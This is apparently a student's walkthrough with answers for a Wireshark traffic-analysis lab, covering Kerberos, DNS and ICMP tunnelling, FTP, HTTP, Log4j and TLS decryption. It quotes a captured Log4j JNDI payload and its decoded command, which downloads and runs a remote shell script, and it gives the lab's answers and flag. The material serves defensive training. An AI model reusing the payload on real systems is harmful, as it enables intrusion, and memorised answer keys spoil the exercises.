WireShark > File > Open > Desktop/exercise-pcaps/dhcp-netbios-kerberos/kerberos.pcap

WireShark > Analyze > Display Filter Expression
 Search: cnamestring
  Field Name: KRB5 > kerberos.CNameString
  Relation: contains
  Value: u5
  
  Filter: kerberos.CNameString contains "u5"
  
  * revise and improve the original filter
  
WireShark > Packet List > packet > Packet Details > Kerberos > req-body > cname > cname-string > u5

 * this verifies that you are identifying the correct packet
 
WireShark > Packet Details > IPv4 > Src > Copy > Value
 Internet Protocol Version 4, Src: 10.1.12.2, Dst: 10.5.3.1

Use the "Desktop/exercise-pcaps/dhcp-netbios-kerberos/kerberos.pcap" file. What is the hostname of the available host in the Kerberos packets?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/dhcp-netbios-kerberos/kerberos.pcap

WireShark > Analyze > Display Filter Expression
 Search: cnamestring
  Field Name: KRB5 > kerberos.CNameString
  Relation: contains
  Value: $
  
  Filter: kerberos.CNameString contains "$"
  
  * Some packets could provide hostname information in this field. To avoid 
    this confusion, filter the "$" value. The values end with "$" are 
    hostnames, and the ones without it are user names.
  
WireShark > Packet List > packet > Packet Details > Kerberos > tgs-rep > cname > right-click cname-string > Copy > Value
 xp1$

TUNNELING TRAFFIC: DNS & ICMP

Use the "Desktop/exercise-pcaps/dns-icmp/icmp-tunnel.pcap" file. Investigate the anomalous packets. Which protocol is used in ICMP tunnelling?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/dns-icmp/icmp-tunnel.pcap

#step 1: get an overview 
WireShark
 Filter: icmp
 
#anomalous
WireShark > icmp && data.len > 64
 * normal ICMP packet are 64-bytes in size. anything more than this number could be 
   a sign of tunneling
   
Wireshark 
 Filter: icmp && data.len > 64 and (icmp contains "ssh" or icmp contains "ftp" or icmp contains "tcp" or icmp contains "http")
  45000304398640004006e7ad0a5f01020a5f01010016c88b0e1bc373317d578a80180228876f00000101080a006d8653006d6af2000002bc0a2100000115000000077373682d72736100000001230000010100aaf6ef3e7b35837e944717e968fc75b0d4d3447d6602036873dfd40002ab9c668b5b0fde9f8f01b4924ab077bd82a921640990e730e2f8f989e26809b9a8b141825a6c6c92fc3d9c317693148df73b2936b77d4a200ba5cf7acb94bbc042ed544cb761bd44c973d6315f83f6363cb7661f4abe83b464d61d75a891ab105a070848d946456e6e1a5c92b7e1341a0f60c108e7c8f15c2260b6319050fbc6e823cf184f4d8d07827195fa3bcfea14d2db583b9d54cd9dfdd24cfe2c6a42fe8857e3af2270fd04ddbd4f547782e5d6fd95432499e22801a93dfb4a56ab6599abeff08223a72624ceb8f87390b18f91e05bcacbbd3dd9fef5532e3d16573f12b73e91000000800f4b0e4dea70b6aa5c38f7e15fe1fefb55a044289798edd4d5b85dd9808c80b1127e5e9228f59a716357d8bdc5e5aba2553be94592a555ce0d5367e13b7e8aa8a413bca1e66244d701ce32922346850f60ea3dc616e556a5f61e725f94a4d16053063775bc881783de5a433a39aa4bb035f6535f558bc4f18c8ee01f2b53a7d10000010f000000077373682d7273610000010081e7654135bbb3925d206bdd74347f14be34a598a7cd61bcced3eace8363110990e6d8f17488956366501e84fac68dccdd962a7056227fe432e40c43a3d283da0d1ee139d85c6081beb9760978cc75ac37f7f1e4f1994941f5e19bdff2fac585c00b9342d7cabf570cab12a78cf4ad332244ea9ae3fdb92c577d6f7b3fd006e622b56651647a81d3446ad489b847235f75767b876d94a3e854212d5605c9a477f234139145d2bf33e86143fc593706da9e97d1367711f665a87f98d83d089dd7e898d51cbbd941c248f8dda99cf19a06e5f7e9dbdd7f125aa427f2ce992f8062d036e0c9fb36180e92ee5f1da70ff60e972b23cba6812419b0ef92d5a74fd6fc000000000000000000000000000c0a1500000000000000000000
 
   * include protocol commonly used in data exfiltration "ssh", "ftp", "tcp", "http"
      - when the hexadecimal output is converted to ascii, "ssh-rsa" will be shown 
Use the "Desktop/exercise-pcaps/dns-icmp/dns.pcap" file. Investigate the anomalous packets. What is the suspicious main domain address that receives anomalous DNS queries? (Enter the address in defanged format.)
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/dns-icmp/dns.pcap

#step 1: get an overview 
WireShark
 Filter: dns
 
#anomalous
WireShark
 Filter: dns.qry.name.len > 15 and !mdns

 * this detects DNS queries with a name length greater than 15 characters, e
   xcluding multicast DNS (mDNS).
   
#pin-point
WireShark > Packet list > Packet Details > DNS > Queries > ... > right-click Name > Apply as Filter > ...And not selected
 ((((dns.qry.name.len > 15 and !mdns) && !(dns.qry.name == "v10.events.data.microsoft.com")) && !(dns.qry.name == "connectivity-check.ubuntu.com")) && !(dns.qry.name == "131.94.168.192.in-addr.arpa")) && !(dns.qry.name == "8.8.8.8.in-addr.arpa")
  A8D603B0DE000000009AF29E902AB216780EAFD10AA3E4A376A2D9165E7809E.2030742EDA1B513BF68DFD675E855A2AA61B2BCE0A7889811D12B34806B9A18.441119E94628EA35FFF9.dataexfil.com
  
  * keep filtering out non pertinent query names

CLEARTEXT PROTOCOL ANALYSIS: FTP

Use the "Desktop/exercise-pcaps/ftp/ftp.pcap" file. How many incorrect login attempts are there?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/ftp/ftp.pcap

#step 1: get an overview 
WireShark
 Filter: ftp
 
#anomalous
WireShark
 Filter: ftp.response.code == 530
 
WireShark > status bar
 * Packets: 20448 Displayed: 737 (3.6%)
Use the "Desktop/exercise-pcaps/ftp/ftp.pcap" file. What is the size of the file accessed by the "ftp" account?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/ftp/ftp.pcap

#step 1: get an overview 
WireShark
 Filter: ftp
 
#anomalous
WireShark
 Filter: ftp.response.code == 213
 
WireShark > Packet list > Packet bytes > FTP > 213 > Response Args: 39424
Use the "Desktop/exercise-pcaps/ftp/ftp.pcap" file. The adversary uploaded a document to the FTP server. What is the filename?
root@dco:~$ wireshark &

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/ftp/ftp.pcap

#step 1: get an overview
WireShark
 Filter: ftp
 
#upload/downloaded files
WireShark > ftp.request.command == "STOR" || ftp.request.command == "RETR"

WireShark > Packet List > Packet Details > FTP > RETR > Request Arg > Copy > Value
 * resume.doc
Use the "Desktop/exercise-pcaps/ftp/ftp.pcap" file. The adversary tried to assign special flags to change the executing permissions of the uploaded file. What is the command used by the adversary?
root@dco:~$ wireshark &

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/ftp/ftp.pcap

#step 1: get an overview
WireShark
 Filter: ftp
 
#upload/downloaded files
WireShark > ftp.request.command == "STOR" || ftp.request.command == "RETR"

WireShark > Packet List > right-click packet > Follow > TCP Stream
 ...
 PWD
 257 "/" is current directory.
 TYPE A
 200 Type set to A
 EPSV
 229 Entering Extended Passive Mode (|||35656|)
 LIST
 150 Opening ASCII mode data connection for file list
 226 Transfer complete.
 SITE CHMOD 777 resume.doc
 550 resume.doc: Permission denied
 QUIT
 221 Goodbye.

CLEARTEXT PROTOCOL ANALYSIS: HTTP

Use the "Desktop/exercise-pcaps/http/user-agent.cap" file. Investigate the user agents. What is the number of anomalous "user-agent" types?
root@dco:~$ wireshark &

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/http/user-agent.cap

#step 1: get an overview
WireShark
 Filter: http.user_agent
 
WireShark > Packet List > Packet Details > HTTP > right-click User-Agent > Apply as Column > Sort Ascending
 ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
 Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
 Wfuzz/2.4
 sqlmap/1.4#stable (http://sqlmap.org)
 Mozilla/5.0 (Windows; U; Windows NT 6.4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
  - Windows NT 6.4 was never publicly used—it was an early internal version of Windows 10
 Mozlila/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0  

 * count each unique potentially malicious user-agents manually
    - there are six unique user-agents that are anomalous, but one of them is
      a modified user-agent which is Windows NT 6.4; this specific user-agent
      have six occurrences
 
 * be aware that sophisticated APTs or adversaries can modify the user-agent data to match legitimate user-agents used by web browsers
Use the "Desktop/exercise-pcaps/http/user-agent.cap" file. What is the packet number with a subtle spelling difference in the user agent field?
root@dco:~$ wireshark &

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/http/user-agent.cap

#step 1: get an overview
WireShark
 Filter: http.user_agent
 
WireShark > Packet List > Packet Details > HTTP > right-click User-Agent > Apply as Column > Sort Ascending
 ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
 Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
 Wfuzz/2.4
 sqlmap/1.4#stable (http://sqlmap.org)
 Mozilla/5.0 (Windows; U; Windows NT 6.4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
  - Windows NT 6.4 was never publicly used—it was an early internal version of Windows 10
 Mozlila/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
  - 52	-1063550943.144639779	10.10.57.178	44.228.249.3	HTTP	469	Mozlila/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0	GET /categories.php HTTP/1.1 
 * count each unique potentially malicious user-agents manually
    - there are six unique user-agents that are anomalous, but one of them is
      a modified user-agent which is Windows NT 6.4; this specific user-agent
      have six occurrences
 
 * be aware that sophisticated APTs or adversaries can modify the user-agent data to match legitimate user-agents used by web browsers
Use the "Desktop/exercise-pcaps/http/http.pcapng" file. Locate the "Log4j" attack starting phase. What is the packet number?
root@dco:~$ wireshark &

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/http/http.pcapng

#step 1: get an overview
WireShark
 Filter: http.request.method == "POST" && http.user_agent contains $
 
 * 444	3163.829852	45.137.21.9	198.71.247.91	HTTP	447	${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}	POST / HTTP/1.1 
 
 * be aware that sophisticated APTs or adversaries can modify the user-agent data to match legitimate user-agents used by web browsers
Use the "Desktop/exercise-pcaps/http/http.pcapng" file. Locate the "Log4j" attack starting phase and decode the base64 command. What is the IP address contacted by the adversary? (Enter the address in defanged format and exclude "{}".)
root@dco:~$ wireshark &

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/http/http.pcapng

#step 1: get an overview
WireShark
 Filter: http.request.method == "POST" && http.user_agent contains $
 
 * 444	3163.829852	45.137.21.9	198.71.247.91	HTTP	447	${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}	POST / HTTP/1.1 
 
WireShark > Packet List > Packet Details > right-click user-agent > Copy > Value
 ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
 
root@dco:~$ cyberchef.io
 input: d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==
 recipe: From Base64
 recipe: Defang IP Addresses
 output: wget http://62[.]210[.]130[.]250/lh.sh;chmod +x lh.sh;./lh.sh
 
 * be aware that sophisticated APTs or adversaries can modify the user-agent data to match legitimate user-agents used by web browsers

ENCRYPTED PROTOCOL ANALYSIS: DECRYPTING HTTPS

Use the "Desktop/exercise-pcaps/https/Exercise.pcap" file. What is the frame number of the "Client Hello" message sent to "accounts.google.com"?
root@dco:~$ wireshark &

#step 1: get an overview
WireShark
 Filter: (http.request or tls.handshake.type == 1) and !(ssdp) && tls.handshake.extensions_server_name
 
 * the tls.handshake.extensions_server_name filter will limit the output data to only those packets that have SNI field
 
#step 2: 
WireShark > Packet list > Packet Details > TLS > TLSvX.X Record Layer > Handshake Protocol > Extension: server_name > Server Name Indication Extension > right-click "Server Name: ..." > Apply as Column
 16	0.755456	192.168.1.12	172.217.17.237	TLSv1.3	571	accounts.google.com	Client Hello
 
 * visually scan potential malicious domains from the packet list Server Name Column
Use the "Desktop/exercise-pcaps/https/Exercise.pcap" file. Decrypt the traffic with the "KeysLogFile.txt" file. What is the number of HTTP2 packets?
root@dco:~$ wireshark &

WireShark > Edit > Preferences > Protocols > TLS > Transport Layer Security
 (Pre)-Master-Secret log filename: KeyLogFile.txt
 
 * all https traffic can now be decrypted as long as the keylogfile were implemented enterprise-wide
 

#step 1: get an overview
WireShark
 Filter:  http2
 
 * Packets: 1760 Displayed: 115 (6.5%)
Use the "Desktop/exercise-pcaps/https/Exercise.pcap" file. Go to Frame 322. What is the authority header of the HTTP2 packet? (Enter the address in defanged format.)
root@dco:~$ wireshark &

WireShark > Edit > Preferences > Protocols > TLS > Transport Layer Security
 (Pre)-Master-Secret log filename: KeyLogFile.txt
 
 * all https traffic can now be decrypted as long as the keylogfile were implemented enterprise-wide
 
Wireshark > Go > Go to Packet
 Packet No. 322

Wireshark > Packet List > Packet Details > HTTP2 > Header: :Authority
 safebrowsing[.]googleapis[.]com
Use the "Desktop/exercise-pcaps/https/Exercise.pcap" file. Investigate the decrypted packets and find the flag! What is the flag?
root@dco:~$ wireshark &

WireShark > Edit > Preferences > Protocols > TLS > Transport Layer Security
 (Pre)-Master-Secret log filename: KeyLogFile.txt
 
 * all https traffic can now be decrypted as long as the keylogfile were implemented enterprise-wide
 
Wireshark > File > Export Objects > HTTP
 1644 situla.bitbit.net text/plain 3412 bytes 21e2ae0fb85fde7bb246ed90194f601e041b3c8...
 
 * Save & open the file for the flag
    - FLAG{THM-PACKETMASTER} 

BONUS: HUNTING CLEARTEXT CREDENTIALS

Use the "Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap" file. What is the packet number of the credentials using "HTTP Basic Auth"?
root@dco:~$ wireshark &

WireShark > File > Open > Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap
WireShark > Tools > Credentials
 Packet No.  Protocol            Username      Additional Info
 237         HTTP Basic Auth     afiiskc
Use the "Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap" file. What is the packet number where "empty password" was submitted?
root@dco:~$ wireshark &

WireShark > File > Open > Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap
WireShark > Tools > Credentials
 Packet No.  Protocol            Username        Additional Info
 170         FTP                 Administrator   Username in packet 136

BONUS: ACTIONABLE RESULTS!

Use the "Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap" file. Select packet number 99. Create a rule for "IPFirewall (ipfw)". What is the rule for "denying source IPv4 address"?
root@dco:~$ wireshark &
WireShark > File > Open > {packetCapture.pcapng}

WireShark > Go > Go to Packet
 Packet No: 99

WireShark > Tools > Firewall ACL Rules
 Create Rule For: IPFirewall (ipfw)
 Inbound: enabled
 Deny: enabled
  add deny ip from 10.121.70.151 to any in
Use the "Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap" file. Select packet number 231. Create "IPFirewall" rules. What is the rule for "allowing destination MAC address"?
root@dco:~$ wireshark &
WireShark > File > Open > {packetCapture.pcapng}

WireShark > Go > Go to Packet
 Packet No: 231

WireShark > Tools > Firewall ACL Rules
 Create Rule For: IPFirewall (ipfw)
 Inbound: enabled
 Deny: disabled
  add allow MAC 00:d0:59:aa:af:80 any in
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